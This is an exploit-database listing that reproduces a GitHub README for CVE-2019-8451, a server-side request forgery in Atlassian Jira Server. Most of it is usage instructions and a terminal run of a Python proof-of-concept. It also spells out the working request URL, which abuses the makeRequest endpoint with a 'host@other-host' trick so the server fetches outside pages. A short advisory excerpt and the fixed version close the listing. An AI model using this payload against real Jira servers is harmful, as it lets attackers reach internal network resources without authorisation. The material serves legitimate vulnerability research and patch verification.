Sploitus

Exploit for Server-Side Request Forgery in Atlassian Jira Server

CVE-2019-8451

githubexploit · 2019-09-26

Exploit Code

README45 lines
## https://sploitus.com/exploit?id=9419361B-999A-5780-B6F9-CD2304A006B8
# CVE-2019-8451 Jira未授权SSRF漏洞

## python usage

`python CVE-2019-8451.py  http://www.jas502n.com:8080`

![](./CVE-2019-8451.jpg)

```
root@kali:~/CVE-2019-8451# python CVE-2019-8451.py  http://www.jas502n.com:8080

>>>>SSRF URL: www.baidu.com

>>>>Send poc Success!

X-AUSERNAME= anonymous

>>>>vuln_url= http://www.jas502n.com:8080/plugins/servlet/gadgets/makeRequest?url=http://www.jas502n.com:8080@www.baidu.com

throw 1; {"http://www.jas502n.com:8080@www.baidu.com":{"rc":200,"headers":{"set-cookie":["BDORZ=27315; max-age=86400; domain=.baidu.com; path=/"]},"body":"\r\n 百度一下，你就知道                     新闻 hao123 地图 视频 贴吧  登录  document.write('登录'); 更多产品       关于百度 About Baidu  ©2017 Baidu 使用百度前必读  意见反馈 京ICP证030173号        \r\n"}}

>>>>SSRF URL:
```


![](./burpsuite.jpg)

## 0x01 SSRF in the /plugins/servlet/gadgets/makeRequest resource - CVE-2019-8451


```
The /plugins/servlet/gadgets/makeRequest resource in Jira before version 8.4.0 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF) vulnerability due to a logic bug in the JiraWhitelist class.

Fixed in Version/s: 8.4.0

```

![](./JRASERVER-69793.jpg)

## 参考链接

https://mp.weixin.qq.com/s/_Tsq9p1pQyszJt2VaXd61A

https://jira.atlassian.com/browse/JRASERVER-69793